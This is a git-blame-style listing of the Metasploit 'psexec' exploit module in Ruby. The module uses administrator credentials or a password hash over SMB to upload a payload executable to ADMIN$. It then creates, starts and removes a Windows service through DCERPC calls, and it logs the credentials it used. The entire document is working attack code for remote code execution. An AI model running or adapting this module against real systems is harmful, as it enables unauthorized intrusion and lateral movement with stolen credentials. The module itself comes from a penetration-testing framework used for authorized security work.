2007-07-03 04:20:50 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2009-12-03 15:27:29 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-07-03 04:20:50 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-07-03 04:20:50 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
=begin
|
|
|
|
Windows XP systems that are not part of a domain default to treating all
|
|
|
|
network logons as if they were Guest. This prevents SMB relay attacks from
|
|
|
|
gaining administrative access to these systems. This setting can be found
|
|
|
|
under:
|
|
|
|
|
|
|
|
Local Security Settings >
|
|
|
|
Local Policies >
|
|
|
|
Security Options >
|
2009-12-03 15:27:29 +00:00
|
|
|
Network Access: Sharing and security model for local accounts
|
2007-07-03 04:20:50 +00:00
|
|
|
=end
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = ExcellentRanking
|
2007-07-03 04:20:50 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::DCERPC
|
|
|
|
include Msf::Exploit::Remote::SMB
|
2009-01-11 05:52:07 +00:00
|
|
|
include Msf::Auxiliary::Report
|
2007-07-03 04:20:50 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2009-12-03 15:27:29 +00:00
|
|
|
super(update_info(info,
|
2007-07-03 04:20:50 +00:00
|
|
|
'Name' => 'Microsoft Windows Authenticated User Code Execution',
|
|
|
|
'Description' => %q{
|
|
|
|
This module uses a valid administrator username and password (or
|
|
|
|
password hash) to execute an arbitrary payload. This module is similar
|
|
|
|
to the "psexec" utility provided by SysInternals. Unfortunately, this
|
|
|
|
module is not able to clean up after itself. The service and payload
|
|
|
|
file listed in the output will need to be manually removed after access
|
|
|
|
has been gained. The service created by this tool uses a randomly chosen
|
|
|
|
name and description, so the services list can become cluttered after
|
|
|
|
repeated exploitation.
|
|
|
|
},
|
2009-12-03 15:27:29 +00:00
|
|
|
'Author' =>
|
|
|
|
[
|
2007-07-03 04:20:50 +00:00
|
|
|
'hdm'
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'Privileged' => true,
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
2009-12-23 01:29:16 +00:00
|
|
|
'EXITFUNC' => 'process'
|
2007-07-03 04:20:50 +00:00
|
|
|
},
|
|
|
|
'References' =>
|
|
|
|
[
|
2009-12-03 15:27:29 +00:00
|
|
|
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
|
2007-07-03 04:20:50 +00:00
|
|
|
[ 'URL', 'http://www.microsoft.com/technet/sysinternals/utilities/psexec.mspx' ]
|
2009-12-03 15:27:29 +00:00
|
|
|
],
|
2007-07-03 04:20:50 +00:00
|
|
|
'Payload' =>
|
|
|
|
{
|
2009-09-09 21:23:11 +00:00
|
|
|
'Space' => 2048,
|
2007-07-03 04:20:50 +00:00
|
|
|
'DisableNops' => true,
|
2009-12-28 14:27:33 +00:00
|
|
|
'WfsDelay' => 10,
|
|
|
|
'StackAdjustment' => -3500
|
2007-07-03 04:20:50 +00:00
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2009-12-03 15:27:29 +00:00
|
|
|
'Targets' =>
|
2007-07-03 04:20:50 +00:00
|
|
|
[
|
2009-12-03 15:27:29 +00:00
|
|
|
[ 'Automatic', { } ],
|
2007-07-03 04:20:50 +00:00
|
|
|
],
|
|
|
|
'DefaultTarget' => 0 ))
|
2009-12-03 15:27:29 +00:00
|
|
|
|
2008-01-25 23:24:06 +00:00
|
|
|
# These should be regular options for this exploit
|
|
|
|
register_options(
|
|
|
|
[
|
2008-01-27 02:06:02 +00:00
|
|
|
OptString.new('SMBUser', [ true, 'The username to authenticate as', "Administrator"]),
|
2008-01-27 02:08:13 +00:00
|
|
|
OptString.new('SMBPass', [ false, 'The password for the specified username', ""])
|
2008-01-25 23:24:06 +00:00
|
|
|
], self.class)
|
2010-04-22 17:23:29 +00:00
|
|
|
|
|
|
|
register_advanced_options(
|
|
|
|
[
|
|
|
|
OptBool.new('DB_REPORT_AUTH', [true, "Report an auth_note upon a successful connection", true])
|
|
|
|
], self.class)
|
2008-01-25 23:24:06 +00:00
|
|
|
|
2007-07-03 04:20:50 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
|
|
|
|
print_status("Connecting to the server...")
|
|
|
|
connect()
|
2009-12-03 15:27:29 +00:00
|
|
|
|
2007-07-03 04:20:50 +00:00
|
|
|
print_status("Authenticating as user '#{datastore['SMBUser']}'...")
|
|
|
|
smb_login()
|
2009-12-03 15:27:29 +00:00
|
|
|
|
2007-07-03 04:20:50 +00:00
|
|
|
if (not simple.client.auth_user)
|
|
|
|
print_line(" ")
|
|
|
|
print_error(
|
|
|
|
"FAILED! The remote host has only provided us with Guest privileges. " +
|
|
|
|
"Please make sure that the correct username and password have been provided. " +
|
|
|
|
"Windows XP systems that are not part of a domain will only provide Guest privileges " +
|
|
|
|
"to network logins by default."
|
|
|
|
)
|
|
|
|
print_line(" ")
|
|
|
|
disconnect
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2010-04-22 17:23:29 +00:00
|
|
|
if datastore['DB_REPORT_AUTH']
|
|
|
|
report_auth_info(
|
|
|
|
:host => datastore['RHOST'],
|
|
|
|
:proto => 'SMB',
|
|
|
|
:user => datastore['SMBUser'],
|
|
|
|
:pass => datastore['SMBPass'],
|
|
|
|
:target_host => datastore['RHOST'],
|
|
|
|
:target_port => datastore['RPORT']
|
|
|
|
)
|
|
|
|
end
|
2009-12-03 15:27:29 +00:00
|
|
|
|
2007-07-03 04:20:50 +00:00
|
|
|
# Upload the shellcode to a file
|
|
|
|
print_status("Uploading payload...")
|
|
|
|
filename = rand_text_alpha(8) + ".exe"
|
|
|
|
simple.connect("ADMIN$")
|
|
|
|
fd = simple.open("\\#{filename}", 'rwct')
|
2009-06-20 18:18:04 +00:00
|
|
|
fd << Msf::Util::EXE.to_win32pe_service(framework,payload.encoded,rand_text_alpha(8))
|
2007-07-03 04:20:50 +00:00
|
|
|
fd.close
|
2009-12-03 15:27:29 +00:00
|
|
|
|
2007-07-03 04:20:50 +00:00
|
|
|
print_status("Created \\#{filename}...")
|
2009-12-03 15:27:29 +00:00
|
|
|
|
2008-12-11 03:50:30 +00:00
|
|
|
# Disconnect from the ADMIN$
|
|
|
|
simple.disconnect("ADMIN$")
|
2009-12-03 15:27:29 +00:00
|
|
|
|
2007-07-03 04:20:50 +00:00
|
|
|
# Connect to the IPC service
|
|
|
|
simple.connect("IPC$")
|
2009-12-03 15:27:29 +00:00
|
|
|
|
|
|
|
|
2007-07-03 04:20:50 +00:00
|
|
|
# Bind to the service
|
|
|
|
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
|
|
|
|
print_status("Binding to #{handle} ...")
|
|
|
|
dcerpc_bind(handle)
|
|
|
|
print_status("Bound to #{handle} ...")
|
|
|
|
|
|
|
|
##
|
2009-12-03 15:27:29 +00:00
|
|
|
# OpenSCManagerW()
|
2007-07-03 04:20:50 +00:00
|
|
|
##
|
2009-12-03 15:27:29 +00:00
|
|
|
|
2007-07-03 04:20:50 +00:00
|
|
|
print_status("Obtaining a service manager handle...")
|
|
|
|
scm_handle = nil
|
|
|
|
stubdata =
|
|
|
|
NDR.uwstring("\\\\#{rhost}") +
|
|
|
|
NDR.long(0) +
|
|
|
|
NDR.long(0xF003F)
|
|
|
|
begin
|
|
|
|
response = dcerpc.call(0x0f, stubdata)
|
|
|
|
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
|
|
|
scm_handle = dcerpc.last_response.stub_data[0,20]
|
|
|
|
end
|
|
|
|
rescue ::Exception => e
|
|
|
|
print_status("Error: #{e}")
|
|
|
|
return
|
|
|
|
end
|
2009-12-03 15:27:29 +00:00
|
|
|
|
2007-07-03 04:20:50 +00:00
|
|
|
##
|
|
|
|
# CreateServiceW()
|
|
|
|
##
|
2009-12-03 15:27:29 +00:00
|
|
|
|
2007-07-03 04:20:50 +00:00
|
|
|
servicename = rand_text_alpha(8)
|
|
|
|
displayname = 'M' + rand_text_alpha(rand(32)+1)
|
|
|
|
svc_handle = nil
|
|
|
|
svc_status = nil
|
2009-12-03 15:27:29 +00:00
|
|
|
|
2007-07-03 04:20:50 +00:00
|
|
|
print_status("Creating a new service (#{servicename} - \"#{displayname}\")...")
|
|
|
|
stubdata =
|
|
|
|
scm_handle +
|
|
|
|
NDR.wstring(servicename) +
|
|
|
|
NDR.uwstring(displayname) +
|
2009-12-03 15:27:29 +00:00
|
|
|
|
2007-07-03 04:20:50 +00:00
|
|
|
NDR.long(0x0F01FF) + # Access: MAX
|
|
|
|
NDR.long(0x00000110) + # Type: Interactive, Own process
|
|
|
|
NDR.long(0x00000003) + # Start: Demand
|
|
|
|
NDR.long(0x00000000) + # Errors: Ignore
|
2009-12-03 15:27:29 +00:00
|
|
|
|
2007-07-03 04:20:50 +00:00
|
|
|
NDR.wstring("%SYSTEMROOT%\\#{filename}") + # Binary Path
|
|
|
|
NDR.long(0) + # LoadOrderGroup
|
|
|
|
NDR.long(0) + # Dependencies
|
|
|
|
NDR.long(0) + # Service Start
|
|
|
|
NDR.long(0) + # Password
|
2009-12-03 15:27:29 +00:00
|
|
|
NDR.long(0) + # Password
|
|
|
|
NDR.long(0) + # Password
|
2007-07-03 04:20:50 +00:00
|
|
|
NDR.long(0) # Password
|
|
|
|
begin
|
|
|
|
response = dcerpc.call(0x0c, stubdata)
|
|
|
|
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
|
|
|
svc_handle = dcerpc.last_response.stub_data[0,20]
|
|
|
|
svc_status = dcerpc.last_response.stub_data[24,4]
|
|
|
|
end
|
|
|
|
rescue ::Exception => e
|
|
|
|
print_status("Error: #{e}")
|
|
|
|
return
|
|
|
|
end
|
2009-12-03 15:27:29 +00:00
|
|
|
|
2007-07-03 04:20:50 +00:00
|
|
|
##
|
|
|
|
# CloseHandle()
|
|
|
|
##
|
|
|
|
print_status("Closing service handle...")
|
|
|
|
begin
|
|
|
|
response = dcerpc.call(0x0, svc_handle)
|
2008-11-11 06:00:54 +00:00
|
|
|
rescue ::Exception
|
2007-07-03 04:20:50 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
##
|
|
|
|
# OpenServiceW
|
|
|
|
##
|
|
|
|
print_status("Opening service...")
|
|
|
|
begin
|
|
|
|
stubdata =
|
2009-12-03 15:27:29 +00:00
|
|
|
scm_handle +
|
2007-07-03 04:20:50 +00:00
|
|
|
NDR.wstring(servicename) +
|
|
|
|
NDR.long(0xF01FF)
|
2009-12-03 15:27:29 +00:00
|
|
|
|
2007-07-03 04:20:50 +00:00
|
|
|
response = dcerpc.call(0x10, stubdata)
|
|
|
|
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
|
|
|
svc_handle = dcerpc.last_response.stub_data[0,20]
|
|
|
|
end
|
|
|
|
rescue ::Exception => e
|
|
|
|
print_status("Error: #{e}")
|
|
|
|
return
|
|
|
|
end
|
2009-12-03 15:27:29 +00:00
|
|
|
|
2007-07-03 04:20:50 +00:00
|
|
|
##
|
|
|
|
# StartService()
|
|
|
|
##
|
|
|
|
print_status("Starting the service...")
|
|
|
|
stubdata =
|
|
|
|
svc_handle +
|
2009-12-03 15:27:29 +00:00
|
|
|
NDR.long(0) +
|
|
|
|
NDR.long(0)
|
2007-07-03 04:20:50 +00:00
|
|
|
begin
|
|
|
|
response = dcerpc.call(0x13, stubdata)
|
|
|
|
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
|
|
|
end
|
|
|
|
rescue ::Exception => e
|
|
|
|
print_status("Error: #{e}")
|
|
|
|
return
|
2009-12-03 15:27:29 +00:00
|
|
|
end
|
2007-07-03 04:20:50 +00:00
|
|
|
|
|
|
|
##
|
|
|
|
# DeleteService()
|
|
|
|
##
|
|
|
|
print_status("Removing the service...")
|
|
|
|
stubdata =
|
2009-12-03 15:27:29 +00:00
|
|
|
svc_handle
|
2007-07-03 04:20:50 +00:00
|
|
|
begin
|
|
|
|
response = dcerpc.call(0x02, stubdata)
|
|
|
|
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
|
|
|
end
|
|
|
|
rescue ::Exception => e
|
|
|
|
print_status("Error: #{e}")
|
2009-12-03 15:27:29 +00:00
|
|
|
end
|
2007-07-03 04:20:50 +00:00
|
|
|
|
|
|
|
##
|
|
|
|
# CloseHandle()
|
|
|
|
##
|
|
|
|
print_status("Closing service handle...")
|
|
|
|
begin
|
|
|
|
response = dcerpc.call(0x0, svc_handle)
|
|
|
|
rescue ::Exception => e
|
|
|
|
print_status("Error: #{e}")
|
|
|
|
end
|
2009-12-03 15:27:29 +00:00
|
|
|
|
2009-12-23 04:02:59 +00:00
|
|
|
begin
|
|
|
|
print_status("Deleting \\#{filename}...")
|
|
|
|
select(nil, nil, nil, 1.0)
|
|
|
|
simple.connect("ADMIN$")
|
|
|
|
simple.delete("\\#{filename}")
|
|
|
|
rescue ::Interrupt
|
|
|
|
raise $!
|
|
|
|
rescue ::Exception
|
|
|
|
end
|
2008-11-03 23:06:37 +00:00
|
|
|
|
2007-07-03 04:20:50 +00:00
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
2008-11-03 23:06:37 +00:00
|
|
|
end
|
2009-12-03 15:27:29 +00:00
|
|
|
|